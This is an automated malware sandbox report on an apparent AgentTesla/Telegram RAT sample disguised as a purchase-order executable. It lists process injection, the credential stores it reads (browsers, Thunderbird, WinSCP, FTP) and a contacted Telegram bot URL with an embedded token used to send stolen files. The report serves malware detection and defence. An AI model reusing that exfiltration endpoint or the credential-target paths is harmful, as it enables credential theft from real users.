Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Queries volume information: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.7.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.7.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3307185247.0000000002AFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3307185247.0000000002ADE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3304934889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3307185247.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-inv-CQV20(92315).exe PID: 5040, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: jsc.exe PID: 5868, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3304934889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3307185247.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-inv-CQV20(92315).exe PID: 5040, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: jsc.exe PID: 5868, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File opened: C:\FTP Navigator\Ftplist.txt Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3304934889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3307185247.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-inv-CQV20(92315).exe PID: 5040, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: jsc.exe PID: 5868, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3307185247.0000000002AFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3307185247.0000000002ADE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3304934889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3307185247.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-inv-CQV20(92315).exe PID: 5040, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: jsc.exe PID: 5868, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO-inv-CQV20(92315).exe.23356d0ef50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3304934889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2148520958.0000023356C97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3307185247.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO-inv-CQV20(92315).exe PID: 5040, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: jsc.exe PID: 5868, type: MEMORYSTR
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1431985 Sample: PO-inv-CQV20(92315).exe Startdate: 26/04/2024 Architecture: WINDOWS Score: 100 20 api.telegram.org 2->20 24 Snort IDS alert for network traffic 2->24 26 Found malware configuration 2->26 28 Malicious sample detected (through community Yara rule) 2->28 32 8 other signatures 2->32 7 PO-inv-CQV20(92315).exe 3 2->7         started        signatures3 30 Uses the Telegram API (likely for C&C communication) 20->30 process4 signatures5 34 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 7->34 36 Writes to foreign memory regions 7->36 38 Allocates memory in foreign processes 7->38 40 Injects a PE file into a foreign processes 7->40 10 jsc.exe 15 2 7->10         started        14 WerFault.exe 19 16 7->14         started        16 conhost.exe 7->16         started        18 jsc.exe 7->18         started        process6 dnsIp7 22 api.telegram.org 149.154.167.220, 443, 49699 TELEGRAMRU United Kingdom 10->22 42 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 10->42 44 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 10->44 46 Tries to steal Mail credentials (via file / registry access) 10->46 48 2 other signatures 10->48 signatures8
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false

Contacted Domains

Name IP Active
api.telegram.org 149.154.167.220 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.telegram.org/bot7017233680:AAEfWTUjfiK5hxLLRkmgitv57SQZuFap4nQ/sendDocument false
    		high